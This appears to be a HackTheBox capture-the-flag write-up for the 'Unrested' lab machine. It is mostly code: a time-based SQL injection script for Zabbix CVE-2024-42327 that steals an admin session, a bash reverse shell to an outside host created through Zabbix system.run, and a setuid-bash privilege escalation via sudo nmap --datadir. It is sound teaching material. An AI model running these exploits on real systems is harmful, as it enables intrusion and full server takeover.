HackTheBox Unrested Writeup
Explore the fundamentals of cybersecurity in the Unrested Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.11.50 unrested.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.50"
domain="unrested.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
2
ports=$(nmap -p- --min-rate=1000 -T4 unrested.htb | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV unrested.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nmap scan report for unrested.htb (10.10.11.50)
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SQL Injection CVE-2024-42327
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
auth=$(curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": "matthew",
"password": "96qzn0h2e1k3"
},
"id": 1
}' | jq -r '.result')
echo "Auth token: $auth"
echo 'Updating user groups...'
curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.update",
"params": {
"userid": "3",
"usrgrps": [
{"usrgrpid": "13"},
{"usrgrpid": "7"}
]
},
"auth": "'"$auth"'",
"id": 1
}' | jq
echo -e "\nFetching user details..."
curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "3"],
"selectUsrgrps": ["usrgrpid", "name"],
"filter": {
"alias": "matthew"
}
},
"auth": "'"$auth"'",
"id": 1
}' | jq
echo 'CVE-2024-42327'
time curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": ["roleid", "name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],
"editable": 1
},
"auth": "'"$auth"'",
"id": 1
}' -o /dev/null
cat > req <<EOF
POST /zabbix/api_jsonrpc.php HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 358
Host: 10.10.11.50:80
Content-Type: application/json-rpc
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
"name *"
],
"editable": 1
},
"auth": "$auth",
"id": 1
}
EOF
sqlmap -r "$(pwd)/req" --dbs --batch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests
from datetime import datetime
import string
import sys
from concurrent.futures import ThreadPoolExecutor
URL = "http://unrested.htb/zabbix/api_jsonrpc.php"
TRUE_TIME = 1
ROW = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"
def authenticate():
payload = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": USERNAME,
"password": PASSWORD
},
"id": 1
}
response = requests.post(URL, json=payload)
if response.status_code == 200:
try:
response_json = response.json()
auth_token = response_json.get("result")
if auth_token:
print(f"Login successful! Auth token: {auth_token}")
return auth_token
else:
print(f"Login failed. Response: {response_json}")
except Exception as e:
print(f"Error: {str(e)}")
else:
print(f"HTTP request failed with status code {response.status_code}")
def send_injection(auth_token, position, char):
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME} - (IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF)"
],
"editable": 1,
},
"auth": auth_token,
"id": 1
}
before_query = datetime.now().timestamp()
response = requests.post(URL, json=payload)
after_query = datetime.now().timestamp()
response_time = after_query - before_query
return char, response_time
def test_characters_parallel(auth_token, position):
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable}
for future in futures:
char, response_time = future.result()
if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5:
return char
return None
def print_progress(extracted_value):
sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
sys.stdout.flush()
def extract_admin_session_parallel(auth_token):
extracted_value = ""
max_length = 32
for position in range(1, max_length + 1):
char = test_characters_parallel(auth_token, position)
if char:
extracted_value += char
print_progress(extracted_value)
else:
print(f"\n(-) No character found at position {position}, stopping.")
break
return extracted_value
if __name__ == "__main__":
print("Authenticating...")
auth_token = authenticate()
print("Starting data extraction...")
admin_session = extract_admin_session_parallel(auth_token)
Admin Revshell
1
nc -lvnp 9001
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
echo -n 'Admin Auth ? '; read auth
curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "host.get",
"params": {
"output": ["hostid", "host"],
"selectInterfaces": ["interfaceid"]
},
"auth": "'"$auth"'",
"id": 1
}'
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "rce",
"key_": "system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.18/9001 0>&1'\'']",
"delay": "1",
"hostid": "10084",
"type": 0,
"value_type": 1,
"interfaceid": "1"
},
"auth": "'"$auth"'",
"id": 1
}'
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z
to background the shell, then run:
1
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
1
export TERM=xterm;
PrivEsc nmap
Wrapper
The user zabbix
has sudo
privileges to execute nmap
as any user without a password:
1
sudo -l
Output:
1
2
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
Running:
1
sudo nmap --interactive
Output:
1
Interactive mode is disabled for security reasons.
This indicates a custom wrapper for nmap
has been implemented by Zabbix to restrict certain functionality.
To confirm the wrapper:
1
cat $(which nmap)
The output reveals that it’s a wrapper script. However, we can bypass the restrictions using the --datadir
option of nmap
.
1
2
3
echo 'os.execute("chmod 4775 /bin/bash")' > /tmp/nse_main.lua
sudo /usr/bin/nmap --datadir=/tmp -sC localhost
ls -la /bin/bash
1
2
bash -p
cat /root/root.txt